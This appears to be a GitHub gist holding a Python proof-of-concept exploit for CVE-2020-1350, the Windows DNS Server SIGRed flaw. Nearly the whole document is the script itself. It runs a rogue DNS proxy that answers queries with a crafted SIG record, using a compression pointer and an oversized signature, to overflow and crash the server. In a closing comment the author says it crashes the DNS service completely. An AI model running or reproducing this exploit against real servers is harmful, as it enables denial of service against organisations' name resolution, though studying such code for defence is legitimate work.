Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#!/usr/bin/env python3
"""cve-2020-1350.py: Windows DNS Server Vulnerability"""
__author__ = "@joaovarelas"
__date__ = "July, 2020"
import binascii,socket,struct
from dnslib import *
from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger
class PassthroughDNSHandler(DNSHandler):
def get_reply(self,data):
host,port = self.server.resolver.address,self.server.resolver.port
request = DNSRecord.parse(data)
print("====================REQUEST====================")
print("Received via [{}]\n".format(self.protocol))
print(request)
rid = request.header.id
truncate = 1 if self.protocol == 'udp' else 0
authority = 0 if self.protocol == 'udp' else 1
header = DNSHeader(id=rid, qr=1, rd=1, ra=1, tc=truncate, auth=authority)
reply = DNSRecord(header=header, q=request.q)
# pointer
sig_name = b'\xc0\x0d'
# data = RDATA | RR(s).. [RDATA 32 bytes]
sig_tcp = b'\x00' * 32 + b'\xff' * (65428)
sig_udp = b'\x41' * 31 + b'\x00'
signature = sig_udp if self.protocol == 'udp' else sig_tcp
sig_len = len(signature)
print("=========================")
print("Signature Length: {}".format(sig_len))
# build SIG record
rrsig = RRSIG(covered=0, algorithm=0, labels=0, orig_ttl=0,
sig_exp=1893456000, sig_inc=1577836800,
key_tag=0, name=sig_name, sig=signature)
rr = RR(request.questions[0].qname, QTYPE.SIG, ttl=0, rdata=rrsig)
reply.add_answer(rr)
print("====================REPLY====================")
print("Sent via [{}]\n".format(self.protocol))
#print(reply)
# craft the buffer manually
buf = DNSBuffer()
header.pack(buf)
request.q.pack(buf)
#rr.pack(buf)
buf.encode_name(rr.rname)
buf.pack("!HHI",rr.rtype,rr.rclass,rr.ttl)
rdlength_ptr = buf.offset
buf.pack("!H",0)
start = buf.offset
if rr.rtype == QTYPE.OPT:
for opt in rr.rdata:
opt.pack(buf)
else:
#rr.rdata.pack(buf) #RRSIG.pack()
buf.pack("!HBBIIIH", rrsig.covered, rrsig.algorithm, rrsig.labels,
rrsig.orig_ttl, rrsig.sig_exp, rrsig.sig_inc, rrsig.key_tag)
#buf.encode_name_nocompress(SIGNAME)
buf.append(sig_name)
buf.append(b'\x00')
buf.append(signature)
end = buf.offset
buf.update(rdlength_ptr,"!H", end-start)
#return reply.pack()
return buf.data
def handle(self):
if self.server.socket_type == socket.SOCK_STREAM:
self.protocol = 'tcp'
data = self.request.recv(8192)
if len(data) < 2:
self.server.logger.log_error(self,"Request Truncated")
return
length = struct.unpack("!H",bytes(data[:2]))[0]
while len(data) - 2 < length:
new_data = self.request.recv(8192)
if not new_data:
break
data += new_data
data = data[2:]
else:
self.protocol = 'udp'
data,connection = self.request
self.server.logger.log_recv(self,data)
try:
rdata = self.get_reply(data)
self.server.logger.log_send(self,rdata)
if self.protocol == 'tcp':
rdatalen = len(rdata)
rdata = struct.pack("!H",rdatalen) + rdata
#rdata = struct.pack("!H", x) + rdata
self.request.sendall(rdata)
else:
connection.sendto(rdata,self.client_address)
except DNSError as e:
print("EXCEPTION HANDLER")
self.server.logger.log_error(self,e)
class ProxyResolver(BaseResolver):
def __init__(self,address,port,timeout=0):
self.address = address
self.port = port
self.timeout = timeout
def resolve(self,request,handler):
try:
if handler.protocol == 'udp':
proxy_r = request.send(self.address,self.port,
timeout=self.timeout)
else:
proxy_r = request.send(self.address,self.port,
tcp=True,timeout=self.timeout)
reply = DNSRecord.parse(proxy_r)
except socket.timeout:
reply = request.reply()
reply.header.rcode = getattr(RCODE,'NXDOMAIN')
return reply
def send_tcp(data,host,port):
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
sock.sendall(data)
response = sock.recv(8192)
length = struct.unpack("!H",bytes(response[:2]))[0]
while len(response) - 2 < length:
response += sock.recv(8192)
sock.close()
return response
def send_udp(data,host,port):
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data,(host,port))
response,server = sock.recvfrom(8192)
sock.close()
return response
if __name__ == '__main__':
import argparse,sys,time
p = argparse.ArgumentParser(description="DNS Proxy")
p.add_argument("--port","-p",type=int,default=53,
metavar="<port>",
help="Local proxy port (default:53)")
p.add_argument("--address","-a",default="",
metavar="<address>",
help="Local proxy listen address (default:all)")
p.add_argument("--upstream","-u",default="8.8.8.8:53",
metavar="<dns server:port>",
help="Upstream DNS server:port (default:8.8.8.8:53)")
p.add_argument("--tcp",action='store_true',default=False,
help="TCP proxy (default: UDP only)")
p.add_argument("--timeout","-o",type=float,default=5,
metavar="<timeout>",
help="Upstream timeout (default: 5s)")
p.add_argument("--passthrough",action='store_true',default=False,
help="Dont decode/re-encode request/response (default: off)")
p.add_argument("--log",default="request,reply,truncated,error",
help="Log hooks to enable (default: +request,+reply,+truncated,+error,-recv,-send,-data)")
p.add_argument("--log-prefix",action='store_true',default=False,
help="Log prefix (timestamp/handler/resolver) (default: False)")
args = p.parse_args()
args.dns,_,args.dns_port = args.upstream.partition(':')
args.dns_port = int(args.dns_port or 53)
print("Starting Proxy Resolver (%s:%d -> %s:%d) [%s]" % (
args.address or "*",args.port,
args.dns,args.dns_port,
"UDP/TCP" if args.tcp else "UDP"))
resolver = ProxyResolver(args.dns,args.dns_port,args.timeout)
handler = PassthroughDNSHandler if args.passthrough else DNSHandler
logger = DNSLogger(args.log,args.log_prefix)
udp_server = DNSServer(resolver,
port=args.port,
address=args.address,
logger=logger,
handler=handler)
udp_server.start_thread()
if args.tcp:
tcp_server = DNSServer(resolver,
port=args.port,
address=args.address,
tcp=True,
logger=logger,
handler=handler)
tcp_server.start_thread()
while udp_server.isAlive():
time.sleep(1)
@uzzzval

This comment has been minimized.

Copy link

@uzzzval uzzzval commented Sep 7, 2020

Does this exploit crashes the DNS server completely or just a thread?

@joaovarelas

This comment has been minimized.

Copy link
Owner Author

@joaovarelas joaovarelas commented Sep 21, 2020

Does this exploit crashes the DNS server completely or just a thread?

@uzzzval I believe it crashes the DNS service completely. However, by default, it is restarted automatically after a while (also, as stated by CPResearch, which increases the exploitation realibility).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.